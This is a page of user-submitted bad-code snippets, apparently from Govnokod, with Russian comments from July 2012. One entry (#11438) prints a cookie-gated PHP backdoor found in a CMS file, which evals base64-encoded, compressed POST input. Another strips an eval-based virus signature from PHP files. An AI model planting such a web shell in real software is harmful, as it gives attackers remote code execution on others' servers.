1. Java / Говнокод #11441

    +74

    1. 1
    2. 2
    3. 3
    //code...
    item.setInUse((map.getnStreamActive().equals("1") ? true : false));
    //...code

    Писал тим лид одного из вендоров проекта.
    nStreamActive - Integer

    ingenuus, 19 Июля 2012

    Комментарии (17)
  2. Си / Говнокод #11440

    +136

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    static int internal_CheckMac(char * inc_mac)
    {
            int return_value = 0x1;
    
            if (strlen(inc_mac) != 17)
            {
                    return return_value;
            }
    
            unsigned int i = 0x0;
            for (i = 3; i <=17; i=i+2)
            {
                    if (inc_mac[i-1] != 58)
                    {
                            return_value = 0x1;
                            break;
                    }
                    else
                            return_value = 0x0;
                    i++;
            }
    
            return return_value;
    }

    Функция проверяет содержимое строки. В строке должен быть мак адрес формата 00:01:02:03:04:05. 58 в строке 13 - это десятичное значение символа ":"
    Авторство функции принадлежит Виталию Кострову, великому программисту из Рыбинска. После ревизии этого кода пришло понимание что надо избавляться от этого сотрудника.

    evgeny, 19 Июля 2012

    Комментарии (125)
  3. PHP / Говнокод #11439

    +67

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    function trim_urls($urls)
    {
        $out = '';
        $arr = explode("\n", $urls);
        foreach ($arr as $v)
        {    
            $u = strip_tags(trim(preg_replace("/:.*$/i", "", preg_replace("/\/.*$/i", "", preg_replace("/^www\./i", "", preg_replace("/^http:\/\//i", "", preg_replace("/^https:\/\//i", "", $v)))))));
            if(!empty($u))
            {    
                $out .= $u;
                $out .= "\r\n";
            }    
        }    
        return $out;
    }

    Русская матрёшка.

    roman-kashitsyn, 18 Июля 2012

    Комментарии (3)
  4. PHP / Говнокод #11438

    +63

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    <?php
    if (isset($_COOKIE['adm'])) {
    	if (isset($_POST['crc'], $_POST['cmd'])) {
    		if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
    			eval(gzuncompress(base64_decode($_POST['cmd'])));
    		} else 
    			echo 'repeat_cmd';
    	}
    }
    ?>

    Файл joomla.php в самопальной CMS

    kindofbear, 18 Июля 2012

    Комментарии (10)
  5. PHP / Говнокод #11437

    +62

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    <?php
    
    define( 'SIGNATURE', 'eval(base64_decode("<закодированный код виря>"));' );
    
    function analyzeFolder( $path ) {
    	
    	foreach ( glob( $path . DIRECTORY_SEPARATOR . '*' ) as $file ) {
    		if ( is_dir( $file ) ) analyzeFolder( $file );
    		elseif ( is_file( $file ) ) delBody( $file );
    	}
    	
    }
    
    function delBody( $file ) {
    	if ( $file != $argv[0] && !is_dir( $file ) && is_file( $file ) ) {
    		$file_info = pathinfo( $file );
    		
    		if ( strtolower( $file_info['extension'] ) == 'php' ) {
    			$o = file_get_contents( $file );
    			$w = str_replace( SIGNATURE, '', $o );
    			file_put_contents($file, $w, LOCK_EX);
    			
    			if ( strcasecmp($o, $w) != 0 ) echo "file \"$file\" was modified\n";
    		}
    	}
    }
    
    if ( !empty( $argv[1] ) && ( $argv[1] == '--help' || $argv[1] == '-h' ) ) {
    	
    	print( "using: $ php antivirus [path]\n" );
    	
    } elseif ( !empty( $argv[1] ) && is_dir( $argv[1] ) ) {
    	
    	analyzeFolder( realpath( $argv[1] ) );
    	
    } else {
    	
    	analyzeFolder( dirname( __FILE__ ) );
    	 
    }

    Мой быдлядский антивирь, удаляющий тело вируса из скриптов.

    psycho-coder, 18 Июля 2012

    Комментарии (11)
  6. PHP / Говнокод #11436

    −52

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    require_once '/usr/share/php/smarty/Smarty.class.php';
    class SmartyMegaAPI extends Smarty{
        public function __construct()
        {
            $this->Smarty();
            $this->template_dir = './smarty/templates';
            $this->config_dir = './smarty/config';
            $this->compile_dir = './smarty/templates_c';
            $this->cache_dir = './smarty/cache';
        }
    }

    ООП такое ООП

    brainstorm, 18 Июля 2012

    Комментарии (2)
  7. Си / Говнокод #11435

    +118

    1. 1
    2. 2
    3. 3
    4. 4
    filename_size = strlen(dest_dir) + strlen(basename) + 6;
        ctx.mtl_file = (char *) malloc(filename_size);
        ctx.obj_file = (char *) malloc(filename_size);
        sprintf(ctx.mtl_file, "%s/%s.mtl", dest_dir, basename);

    Долго соображали, почему вылезает сегфолт во free...

    someone, 18 Июля 2012

    Комментарии (48)
  8. JavaScript / Говнокод #11434

    +149

    1. 1
    2. 2
    3. 3
    if(self.el.actions.length==2){
                        Prototypes.MenuFunctions[self.el.actions[0].name].call(self);
    }

    Сегодня утром написал.

    хуита, 18 Июля 2012

    Комментарии (0)
  9. Си / Говнокод #11433

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    static struct passwd *pd=getpwuid(st->st_uid);
      if(pd==NULL){
        fprintf(stderr, "no correspound user!\n");
      }
      char *perm=(char*)malloc(16);
      if(perm==NULL){fprintf(stderr, "out of memory!\n");return -1;}
       memset( perm,'\0',16); 
      if(st->st_mode & S_ISUID){perm[0]='s';} else perm[0]='-';
      if(st->st_mode & S_IRUSR){perm[1]='r';} else perm[1]='-';
      if(st->st_mode & S_IWUSR){perm[2]='w';} else perm[2]='-';
      if(st->st_mode & S_IXUSR){perm[3]='x';} else perm[3]='-';
      if(st->st_mode & S_IRGRP){perm[4]='r';} else perm[4]='-';
      if(st->st_mode & S_IWGRP){perm[5]='w';} else perm[5]='-';
      if(st->st_mode & S_IXGRP){perm[6]='x';} else perm[6]='-';
      if(st->st_mode & S_IROTH){perm[7]='r';} else perm[7]='-';
      if(st->st_mode & S_IWOTH){perm[8]='w';} else perm[8]='-';
      if(st->st_mode & S_IXOTH){
        if(st->st_mode & S_ISVTX){
          perm[9]='t';
        }
       else perm[9]='x';
        
      } else perm[9]='-';
      if(st->st_mode & S_ISUID){
       if(st->st_mode & S_IXUSR){
         perm[4]='s';
       } else perm[4]='S';
      }
       if(st->st_mode & S_ISGID){
        if(st->st_mode & S_IXGRP){
        perm[7]='s';
        } else perm[7]='S';
      }
      if(st->st_mode & S_ISVTX){
        if(st->st_mode & S_IXOTH){perm[9]='t';} else {
        perm[9]='T';
        }
      }
       if((st->st_mode & S_IFMT) == S_IFDIR) { perm[0]='d';}
       if((st->st_mode & S_IFMT)==S_IFSOCK){ perm[0]='s';}
       if((st->st_mode & S_IFMT) == S_IFCHR) { perm[0]='c';}
       if((st->st_mode & S_IFMT)==S_IFCHR){perm[0]='c';} else if(st->st_mode & S_IFBLK){perm[0]='b';} else
       if((st->st_mode & S_IFMT)== S_IFREG){ perm[0]='-';}
       if((st->st_mode &S_IFMT)==S_IFBLK) { perm[0]='b';}
       if((st->st_mode & S_IFMT)==S_IFIFO) { perm[0]='p';}
       if((st->st_mode & S_IFMT)== S_IFLNK){ perm[0]='l';}
      if(!S_ISDIR(st->st_mode)){
          if(S_ISREG(st->st_mode)){
    	printf("<file type=\"regular file\" permissions=\"%s\" owner=\"%s\" group=\"%d\" size=\"%d\">%s</file>\n",perm,pd->pw_name,st->st_gid,st->st_size,dir);
    	return 0;
          };

    Права доступа

    AliceGoth, 17 Июля 2012

    Комментарии (10)
  10. Си / Говнокод #11432

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    void do_statfs(const struct mntent *fs)
    {
    	struct statvfs vfs;
    
       	if (fs->mnt_fsname[0] != '/')	/* skip nonreal filesystems */
       		return;
    
    	if (statvfs(fs->mnt_dir, & vfs) != 0) {
    		fprintf(stderr, "%s: %s: statfs failed: %s\n",
    			myname, fs->mnt_dir, strerror(errno));
    		errors++;
    		return;
    	}
    	if(fi!=1){
    	long used = 100 - (int)(((float)vfs.f_bfree/(float)vfs.f_blocks)*100);
    	printf("%12s", fs->mnt_fsname);//Filesystem
    	printf("%16ld",((vfs.f_blocks)>>10)*vfs.f_bsize);//1K-blocks
     	printf("%11ld", ((vfs.f_blocks - vfs.f_bfree)>>10)*vfs.f_bsize);//Used
    	printf("%11ld",(vfs.f_bavail>>10)*vfs.f_bsize);		//Available
    	if(used>0 && used<=100){
    	printf("%8d%%    ", 100 - (int)(((float)vfs.f_bfree/(float)vfs.f_blocks)*100));//Use%
    	} else { printf("%8s    ","-");}
    	} else {
    	  long used = 100 - (int)(((float)vfs.f_ffree/(float)vfs.f_files)*100);
    	  printf("%8s", fs->mnt_fsname);//Filesystem
    	  printf("%11ld",vfs.f_files);//Inodes
    	  printf("%11ld", (vfs.f_files - vfs.f_ffree));//IUsed
    	  printf("%11ld",vfs.f_ffree);//IFree
    	  if(used>0 && used<=100){
    	    printf("%8d%%    ", used);//Use%
    	} else { printf("%8s    ","-");}
    	}
    	printf("%s\n", fs->mnt_dir);//Mounted on
    }

    Свой df

    AliceGoth, 17 Июля 2012

    Комментарии (0)